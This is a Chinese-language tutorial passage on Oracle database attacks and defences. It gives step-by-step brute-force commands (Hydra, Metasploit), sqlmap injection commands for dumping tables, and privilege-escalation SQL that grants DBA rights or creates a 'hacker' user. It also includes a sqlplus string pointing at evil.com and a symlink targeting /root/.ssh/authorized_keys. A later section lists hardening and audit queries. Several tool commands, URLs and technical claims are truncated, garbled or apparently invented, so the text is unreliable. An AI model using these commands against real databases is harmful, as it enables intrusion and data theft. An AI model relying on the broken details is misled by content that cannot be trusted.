Metasploit框架內置了名為“login_brute”的模塊,可以利用字典文件暴力破解Oracle數據庫密碼,但是使用該工具需要先獲得Oracle數據庫的用戶名。如果你沒有獲得目標數據庫的用戶名,可以使用任意一種端口掃描工具掃描出目標機器開放的Oracle監聽端口,如nmap,masscan等。
步驟1:開展端口掃描
(資料圖片僅供參考)
使用nmap對目標主機進行端口掃描,例如:
nmap -sS -p 1521
步驟2:利用Metasploit進行暴力破解
在Metasploit控制臺中使用以下命令設置需要破解的Oracle數據庫IP地址、監聽端口號、用戶名和字典文件路徑,然后執行run命令即可開始暴力破解。
use auxiliary/scanner/oracle/oracle_loginset RHOSTS 1.1.2.基于Hydra的暴力破解
Hydra是一款強大的暴力破解工具,可以用來暴力破解多種協議的密碼。這里介紹如何使用Hydra進行Oracle數據庫密碼暴力破解。
步驟1:安裝Hydra
在Linux命令行中輸入以下命令安裝Hydra:
sudo apt-get install hydra
步驟2:基于字典文件的暴力破解
如果已知用戶名,可以使用以下命令進行暴力破解,其中USERNAME為目標賬戶名、PASSWORD_FILE為密碼字典文件的路徑,IP_ADDRESS為目標機器的IP地址,PORT為目標Oracle數據庫的監聽端口號。
hydra -L USERNAME -P PASSWORD_FILE IP_ADDRESS -s PORT oracle
步驟3:基于多個用戶名的暴力破解
如果不知道目標用戶的用戶名,可以先使用Metasploit模塊進行掃描并獲得用戶名列表,然后使用Hydra對用戶名列表中的所有用戶進行暴力破解。使用以下命令進行暴力破解,其中USER_FILE為用戶名字典文件的路徑,PASSWORD_FILE為密碼字典文件的路徑,IP_ADDRESS為目標機器的IP地址,PORT為目標Oracle數據庫的監聽端口號。
hydra -L USER_FILE -P PASSWORD_FILE IP_ADDRESS -s PORT oracle
3.基于Oscanner的漏洞掃描工具
Oscanner是一款功能強大的Oracle漏洞掃描工具,它可以掃描Oracle數據庫中存在的安全漏洞和配置錯誤。使用該工具可以幫助檢測Oracle數據庫弱口令等安全問題。
步驟1:下載Oscanner
從GitHub上下載Oscanner源代碼,并解壓到本地。在Linux命令行中輸入以下命令:
git clonehttps://github.com/evyatarmeged/Oscanner.git
步驟2:開展漏洞掃描
使用以下命令開展漏洞掃描,其中IP_ADDRESS為目標機器的IP地址,PORT為目標Oracle數據庫的監聽端口號。
python OScanner.py –ip IP_ADDRESS –p PORT
掃描結果將被輸出到屏幕上,并保存到指定的文件中。
1.1.3.基于SQLmap的注入工具SQLmap是一款流行的SQL注入工具,可以用來測試Web應用程序是否存在SQL注入漏洞。在Oracle數據庫中,可通過SQL注入漏洞盜取敏感數據,包括用戶名和密碼等。以下是利用SQLmap進行Oracle數據庫注入攻擊的步驟:
步驟1:下載SQLmap
從GitHub上下載SQLmap源代碼,并解壓到本地。在Linux命令行中輸入以下命令:
git clonehttps://github.com/sqlmapproject/sqlmap.git
步驟2:開展注入攻擊
使用如下命令開始注入攻擊,其中IP_ADDRESS為目標機器的IP地址,PORT為目標Oracle數據庫的監聽端口號。
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent --dbs
通過上述命令從目標Oracle數據庫中獲取所有可用的數據庫。
步驟3:獲取數據表
使用如下命令獲取目標Oracle數據庫中的數據表:
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent -D DATABASE_NAME --tables
步驟4:獲取數據列
使用如下命令獲取目標Oracle數據庫中數據表的所有列:
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent -D DATABASE_NAME -T TABLE_NAME --columns
步驟5:獲取數據
使用如下命令獲取目標Oracle數據庫中的所有數據:
python sqlmap.py -u "http://IP_ADDRESS:PORT/index.php?id=1" --cookie="PHPSESSID=abcdefg" --level 5 --risk 3 --batch --random-agent -D DATABASE_NAME -T TABLE_NAME --dump
將上述命令中的“IP_ADDRESS”、“PORT”、“DATABASE_NAME”和“TABLE_NAME”替換為實際的值即可進行Oracle數據庫注入攻擊。
1.2一些開源的Oracle管理工具1.2.1PL/SQL DeveloperPL/SQL Developer是一種跨平臺的IDE,允許用戶開發、測試和調試PL/SQL代碼。它包括諸如語法高亮顯示、代碼折疊、自動完成等功能,并且可與Oracle數據庫集成。官方地址:
https://www.allroundautomations.com/products/pl-sql-developer/
1.2.2SQL DeveloperSQL Developer是一種功能強大的跨平臺工具,可以與多種數據庫管理系統集成,包括Oracle。它支持諸如SQL腳本編輯、數據查詢、表和字段管理等功能。此外,還提供了一些有用的插件和擴展。
官方地址:https://www.oracle.com/tools/downloads/sqldev-downloads.html
1.2.3TOraTOra是一種開源的Oracle管理工具,可用于管理Oracle數據庫。它支持各種Oracle對象的瀏覽和編輯,包括表、視圖、過程、函數、觸發器等。TOra也提供了一些有用的功能,例如SQL查詢和編輯、數據導入和導出等。
官方地址:http://tora.sourceforge.net/
1.2.4Oracle SQLclOracle SQLcl是一種跨平臺的命令行工具,允許用戶執行SQL查詢和命令。它包括一些有用的功能,例如語法高亮顯示、自動完成和歷史記錄等,并且可與Oracle數據庫集成。
官方地址:https://www.oracle.com/database/technologies/appdev/sqlcl.html
1.2.5Oracle APEXOracle APEX是一種基于Web的開發工具,用于開發和部署企業級應用程序。它使用Oracle數據庫作為后端,并提供了一些有用的功能,例如表和字段管理、報告生成、工作流程管理等。Oracle APEX也是一種開放源代碼的工具,用戶可以免費使用和分發。
官方地址:https://apex.oracle.com/en/
1.3Oracle數據庫提權1.3.1Oracle數據庫提權主要途徑1. 利用無效對象進行提權
在Oracle中,無效對象指的是失效或異常的存儲過程、函數、觸發器等。攻擊者可以通過修改或者篡改其中的無效對象,實現提權目的。
2. 利用數據庫連接字符串提權
當連接到Oracle數據庫時,如果使用了高權限用戶如SYS或SYSTEM,并且在連接字符串中沒有明確地指定要訪問的具體數據庫,則默認會連接到一個叫做“ORCL”或“XE”的測試數據庫上。攻擊者可以通過構造惡意數據庫并偽裝成“ORCL”或“XE”,欺騙管理員連接到惡意數據庫,并以高權限用戶身份執行惡意操作。
3. 利用ORACLE_HOME目錄漏洞進行提權
ORACLE_HOME目錄是Oracle軟件安裝的根目錄,通常包含各種配置文件、日志文件、庫文件等。如果對ORACLE_HOME目錄的權限
1.3.2Oracle數據提權參考詳細方法及步驟1.利用無效對象進行提權
在Oracle中,無效對象指的是失效或異常的存儲過程、函數、觸發器等。攻擊者可以通過修改或者篡改其中的無效對象,實現提權目的。例如:
CREATE OR REPLACE PROCEDURE pwn ASPRAGMA AUTONOMOUS_TRANSACTION;BEGINEXECUTE IMMEDIATE "GRANT DBA TO attacker";COMMIT;END;/ALTER PROCEDURE pwn COMPILE REUSE SETTINGS;
以下是利用無效對象進行提權的一般步驟:
(1)創建無效對象
攻擊者需要創建一個無效的 Oracle 對象并嵌入惡意代碼,例如一個無效的存儲過程、函數、觸發器等。
CREATE OR REPLACE FUNCTION invalid_func (input IN VARCHAR2) RETURN INTEGER ASBEGIN-- 惡意代碼EXECUTE IMMEDIATE "CREATE USER hacker IDENTIFIED BY 1234";RETURN 1;END;/
(2)注冊無效對象
攻擊者需要將無效對象注冊到Oracle數據庫中。這可以通過運行無效對象來完成。
EXEC invalid_func("test");
如果無效對象中嵌入的惡意代碼得到執行,攻擊者將創建一個名為“hacker”的新用戶。此時,攻擊者可以以新用戶的身份登陸到數據庫并執行任意操作。
(3)提權
已創建的新用戶可以用于提升攻擊者的權限。例如,可以使用新用戶連接到 Oracle 數據庫并執行敏感操作,或者利用新用戶訪問具有高權限的系統資源。
以下是一些參考命令:
創建無效函數
CREATE OR REPLACE FUNCTION invalid_func (input IN VARCHAR2) RETURN INTEGER ASBEGIN-- 惡意代碼EXECUTE IMMEDIATE "CREATE USER hacker IDENTIFIED BY 1234";RETURN 1;END;/
注冊無效函數
EXEC invalid_func("test");
需要注意的是,為了防止此類攻擊,Oracle管理員應該定期檢查 Oracle 數據庫中的無效對象,并刪除可能包含惡意代碼的對象。
2.利用數據庫連接字符串提權
當連接到Oracle數據庫時,如果使用了高權限用戶如SYS或SYSTEM,并且在連接字符串中沒有明確地指定要訪問的具體數據庫,則默認會連接到一個叫做“ORCL”或“XE”的測試數據庫上。攻擊者可以通過構造惡意數據庫并偽裝成“ORCL”或“XE”,欺騙管理員連接到惡意數據庫,并以高權限用戶身份執行惡意操作。例如:
sqlplus SYS/password@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=evil.com)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))
以下是利用數據庫連接字符串進行提權的一般步驟:
(1)構造惡意數據庫
攻擊者需要構造一個惡意數據庫,并將其偽裝成“ORCL”或“XE”。可以使用Oracle官方提供的創建數據庫工具或手動創建數據庫。
(2)監聽端口和服務名稱
為了將惡意數據庫偽裝成“ORCL”或“XE”,需要在監聽器中添加服務名稱和監聽端口。可以通過修改listener.ora文件或通過Oracle Net Manager添加服務名稱和監聽端口來完成此操作。
(3)模擬Oracle服務器
攻擊者需要模擬Oracle服務器,接受管理員的連接請求,并將其重定向到惡意數據庫。可以使用Metasploit框架中的Oracle SQL鏈接跟蹤追蹤模塊實現這一點。
(4)連接到惡意數據庫
管理員使用高權限用戶如SYS或SYSTEM來連接到Oracle數據庫時,如果在連接字符串中沒有明確指定要訪問的具體數據庫,則默認連接到“ORCL”或“XE”測試數據庫上。攻擊者可以構造一個連接字符串,指定惡意數據庫的地址和端口,以欺騙管理員連接到惡意數據庫。
例如,以下命令將在主機evil.com上連接到名為ORCL_BACKDOOR的惡意數據庫:
sqlplus SYS/password@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=evil.com)(PORT=1521))(CONNECT_DATA=(SID=ORCL_BACKDOOR)))
(5)執行惡意操作
如果連接成功,攻擊者將能夠以高權限用戶身份執行任意惡意操作。例如,可以在Oracle數據庫中創建新用戶、修改或刪除數據庫中的數據等。
需要注意的是,Oracle管理員應該在輸入任何連接信息之前仔細驗證其合法性,尤其是在連接于高權限用戶時。另外,為了防止此類攻擊,Oracle管理員應該定期檢查監聽器配置,并配置適當的權限和保護措施。
3.利用ORACLE_HOME目錄漏洞進行提權
ORACLE_HOME目錄是Oracle軟件安裝的根目錄,通常包含各種配置文件、日志文件、庫文件等。如果對ORACLE_HOME目錄的權限過高或者存在漏洞,則攻擊者可以輕易地獲取敏感信息或者利用其中的漏洞進行提權。例如:
ln -s /root/.ssh/authorized_keys $ORACLE_HOME/dbs/init$ORACLE_SID.ora
詳細參考步驟如下:
(1)查找ORACLE_HOME目錄
可以通過以下命令查找ORACLE_HOME目錄:
ps -ef | grep pmon
該命令將顯示正在運行的Oracle進程名稱和對應的目錄,其中ORACLE_HOME為Oracle軟件的根目錄。
(2)查找可寫ORACLE_HOME目錄
攻擊者需要找到具有寫入權限的ORACLE_HOME目錄,以便在其中放置惡意程序或修改配置文件。以下命令可用于查找可寫的ORACLE_HOME目錄:
find / -name "*.ora" -type f -exec ls -l {} \;
該命令將查找所有擴展名為.ora的文件,并列出其所在的目錄及權限信息。
(3)放置惡意程序或修改配置文件
攻擊者可以將惡意程序放置在可寫的ORACLE_HOME目錄中,并運行它以獲得更高的權限。另外,攻擊者還可以修改Oracle的配置文件,以更改數據庫實例的配置或執行其他惡意操作。
(4)提升權限并獲取敏感信息
通過在可寫的ORACLE_HOME目錄中放置惡意程序或修改配置文件,攻擊者獲得了更高的權限。這使得攻擊者可以輕松地獲取敏感信息,或在Oracle數據庫中執行其他有害操作。
需要注意的是,為了防止此類攻擊,Oracle管理員應該定期檢查ORACLE_HOME目錄的權限和安全性,并配置適當的權限和保護措施。
1.4.Oracle數據暴力破解及其他安全檢測方法1.4.1暴力破解安全防范方法1.啟用賬戶鎖定功能
Oracle 數據庫提供了賬戶鎖定功能,可以在用戶一定數量的登錄失敗嘗試后自動鎖定用戶。這可以有效防止攻擊者使用暴力破解工具進行破解:
ALTER PROFILE default LIMIT FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 1;
2.配置訪問控制列表(ACL)
ACL 可以限制特定 IP 地址或網絡的訪問,防止攻擊者使用暴力破解工具對 Oracle 數據庫進行攻擊:
BEGINDBMS_NETWORK_ACL_ADMIN.CREATE_ACL (acl => "acl.xml",description => "ACL for example.com",principal => "EXAMPLE.COM",is_grant => TRUE,privilege => "connect",start_date => SYSTIMESTAMP,end_date => NULL);COMMIT;END;/
3.更改默認端口
默認情況下,Oracle 數據庫使用 1521 端口進行通信。攻擊者可以使用端口掃描工具來探測并攻擊該端口。因此,管理員應該將默認端口更改為其他端口:
ALTER SYSTEM SET LOCAL_LISTENER = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=hostname)(PORT=port)))";
3.啟用登錄審計
啟用登錄審計可以記錄用戶登錄數據庫的詳細信息,包括時間、IP 地址和失敗嘗試次數等。這可以幫助管理員及時發現并應對暴力破解攻擊:
AUDIT SESSION WHENEVER NOT SUCCESSFUL;1.4.2其他安全檢測方法
1.定期檢查 Oracle 數據庫中的無效對象
攻擊者通常會利用無效對象進行提權。因此,Oracle 管理員應該定期檢查 Oracle 數據庫中是否有無效對象,并刪除可能包含惡意代碼的對象:
SELECT owner, object_name, object_type, statusFROM dba_objectsWHERE status = "INVALID";
2.檢查特權用戶的密碼強度
特權用戶如 SYS 或 SYSTEM 用戶帳戶對 Oracle 數據庫具有特殊權限,攻擊者通常會嘗試使用默認或弱密碼來破解這些賬戶。因此,管理員應該確保特權用戶的密碼足夠強大,并定期更改密碼:
SELECT username, account_status FROM dba_users WHERE username IN ("SYS", "SYSTEM");
3.檢查連接字符串參數
Oracle 連接字符串中的參數可以影響數據庫的安全性。管理員應該檢查參數值是否正確,并限制訪問級別:
SELECT name, value FROM v$parameter WHERE name IN ("remote_login_passwordfile", "audit_sys_operations", "os_authent_prefix");
4.檢查監聽器配置
監聽器是 Oracle 數據庫的入口點,攻擊者可以通過監聽器進行入侵。管理員應該檢查監聽器的配置,確保其安全性:
lsnrctl status
5.檢查數據庫日志
管理員應該檢查數據庫日志以獲取有關可能的安全漏洞和入侵活動的信息:
SELECT to_char(timestamp, "YYYY-MM-DD HH24:MI:SS"), username, action_name, object_name, sql_textFROM dba_audit_trailWHERE audit_timestamp > SYSDATE - 1;
6.檢查角色權限
攻擊者可以利用角色權限進行提權,因此管理員應該檢查角色的權限配置,并刪除不必要的權限:
SELECT grantee, privilege, admin_option FROM dba_sys_privs WHERE grantee IN (SELECT DISTINCT granted_role FROM dba_role_privs);
7.檢查用戶權限
攻擊者可以通過某些用戶權限進行提權。管理員應該檢查用戶的權限配置,并刪除不必要的權限:
SELECT grantee, granted_role, admin_option FROM dba_role_privs WHERE grantee IN (SELECT DISTINCT username FROM dba_users);
8.檢查用戶自定義函數
攻擊者可以通過用戶自定義函數進行提權。管理員應該檢查用戶自定義函數的源碼,以確保其安全性:
SELECT owner, name, type, text FROM dba_source WHERE type = "FUNCTION" AND line = 1 ORDER BY owner, name, type;
9.檢查安全警報日志
Oracle 提供了一個安全警報框架,可以監測和記錄各種安全事件。管理員應該檢查安全警報日志以偵測潛在的安全威脅:
SELECT * FROM dba_audit_object WHERE owner = "SYS" AND object_name LIKE "TBS%";1.5Oracle安全審計開源工具1.5.1Oracle Password Auditor (OPA)
功能:用于檢查 Oracle 數據庫中的弱口令,常見口令和安全策略是否得到正確實施。
下載地址:https://www.slac.stanford.edu/xorg/nmtf/nmtf-tools-opa.html
使用步驟和命令:
●下載 OPA 工具并解壓縮它。
●打開命令提示符或終端窗口,并切換到 OPA 的目錄。
●輸入以下命令以啟動 OPA 工具:
opa.exe -u
您還可以通過添加其他參數來自定義掃描設置,如下所示:
opa.exe -u
運行完命令后,請等待掃描完成,該工具將生成一個 HTML 報告,其中包含您查詢的所有信息。
1.5.2Oracle E-Business Suite Password Audit功能:用于檢查 Oracle EBS 中的弱口令、常見口令和過期口令,以保護 Oracle EBS 應用程序的安全性。
下載地址:https://www.oracle.com/technetwork/apps-tech/security-ebs-password-audit-129472.pdf
使用步驟:
●下載 Oracle EBS 密碼審計工具并安裝它。
●打開工具并輸入您的 Oracle EBS 應用程序的連接信息,然后單擊“掃描”按鈕。
工具將自動執行密碼掃描并生成報告。您可以查看報告并按照其建議修復密碼問題。
1.5.3Oracle Password Cracker功能:用于破解 Oracle 數據庫用戶的密碼。
下載地址:https://sourceforge.net/projects/oraclepwdcracker/
使用步驟和命令:
●確定您要破解的 Oracle 數據庫用戶名。
●下載并安裝 Oracle Password Cracker 工具。
●打開命令提示符或終端窗口,并切換到 Oracle Password Cracker 的目錄。
●根據以下命令格式運行工具:
orapwdcrack.exe -u
工具將嘗試使用給定的字典文件破解密碼,并在成功時輸出密碼。
1.5.4OraPwdCrack功能:用于使用 GPU 加速破解 Oracle 數據庫密碼。
下載地址:https://github.com/milo2012/orapwdcrack
使用步驟和命令:
●確保計算機安裝了適當的 NVIDIA 或 AMD 顯卡驅動程序和 CUDA 或 OpenCL 環境。
●下載 OraPwdCrack 工具并解壓縮它。
●打開命令提示符或終端窗口,并切換到 OraPwdCrack 的目錄。
●根據以下命令格式運行工具:
orapwddump.exe User@Host:Port ServiceName [
根據需要修改命令參數,如 CUDA/OpenCL 設備編號、特殊選項等。
工具將嘗試使用 GPU 加速破解密碼,并在成功時輸出密碼。
1.5.5PWDumpX功能:用于提取 Oracle 用戶的哈希密碼。
下載地址:https://www.tarasco.org/security/pwdumpx.htm
使用步驟和命令:
●確定您要提取其哈希密碼的 Oracle 用戶名。
●下載 PWDumpX 工具并解壓縮它。
●打開命令提示符或終端窗口,并切換到 PWDumpX 的目錄。
●根據以下命令格式運行工具:
pwdumpx.exe -u
工具將提取您指定的用戶名的哈希密碼,并在命令行窗口中輸出它們。
1.5.6Oracle Security Check Tool (OSCT)功能:用于檢查 Oracle 數據庫中的安全問題,如弱口令、未授權訪問等。
下載地址:https://www.oracle.com/technetwork/security/testout-oracle-security-check-tool-130994.pdf
使用步驟:
●下載和安裝 Oracle Security Check Tool(OSCT)。
●打開工具并輸入您的 Oracle 數據庫憑據和連接信息,然后單擊“掃描”按鈕。
●工具會自動執行安全掃描并生成報告。您可以根據報告中提供的建議來修復數據庫中的安全問題。
標簽: